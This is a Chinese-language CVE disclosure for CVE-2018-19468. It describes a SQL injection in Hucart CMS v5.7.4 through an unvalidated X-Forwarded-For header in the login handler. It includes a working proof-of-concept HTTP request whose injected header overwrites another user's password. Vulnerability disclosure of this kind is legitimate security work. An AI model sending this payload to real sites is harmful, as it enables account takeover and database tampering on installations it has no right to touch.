CVE中文申请站

CVE-2018-19468:Hucart cms v5.7.4 SQL注入漏洞

一、漏洞摘要

漏洞名称: Hucart cms v5.7.4 SQL注入漏洞
上报日期: 2018-11-20
漏洞发现者: zzzzzzzz
产品首页: http://www.hucart.com/
软件链接: http://www.hucart.com/
版本: v5.7.4
CVE编号: CVE-2018-19468


二、漏洞概述

Hucart cms v5.7.4未对HTTP头部数据进行安全过滤,产生SQL注入漏洞。
文件system/class/helper_class.php第4-38行代码如下:
1.png
2.png
方法get_ip未对HTTP_X_FORWARDED_FOR等头内部的数据进行校验,并将其中的值作为IP地址直接返回,代码多处功能均调用此方法获取IP地址插入数据库,故产生多处SQL注入漏洞,其中一处如下:
文件application/user/login.php使用act_login方法处理普通用户登陆请求,如登陆成功,则对数据库进行更新,其具体实现位于81-101行,如下图:
3.png
代码于第83行调用get_ip方法获取IP地址$user_ip并于99行拼接入SQL语句中执行,故攻击者可在HTTP_X_FORWARDED_FOR等头内部插入攻击向量,发动SQL注入攻击。

三、利用代码

exp代码如下:
在HTTP_X_FORWARDED_FOR中插入SQL注入攻击向量即可,例如对于普通用户登陆界面处的注入漏洞,其请求如下:
攻击者即可通过注入漏洞修改任意用户密码,也可发动其他类型的SQL注入攻击。

POST /user/index.php?load=login&act=act_login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/user/index.php?load=login&act=act
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: csrftoken=o2JPu6uSjJAMj0bgh2AB90bgd4igPjzCtfvrhP6jTFKpy87BxZfZIb31OqfJutMz; PHPSESSID=btl6d5bko1cd6voo5nshln498g; ck_num=a600bd172fcabd688500dac58ebda3a0
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: attack', use_pwd=md5('attack') Where use_name='test1' #

use_name=test&use_pwd=123456&use_captcha=asdasdd&submit=


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/83/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19468
exploit-db:发布中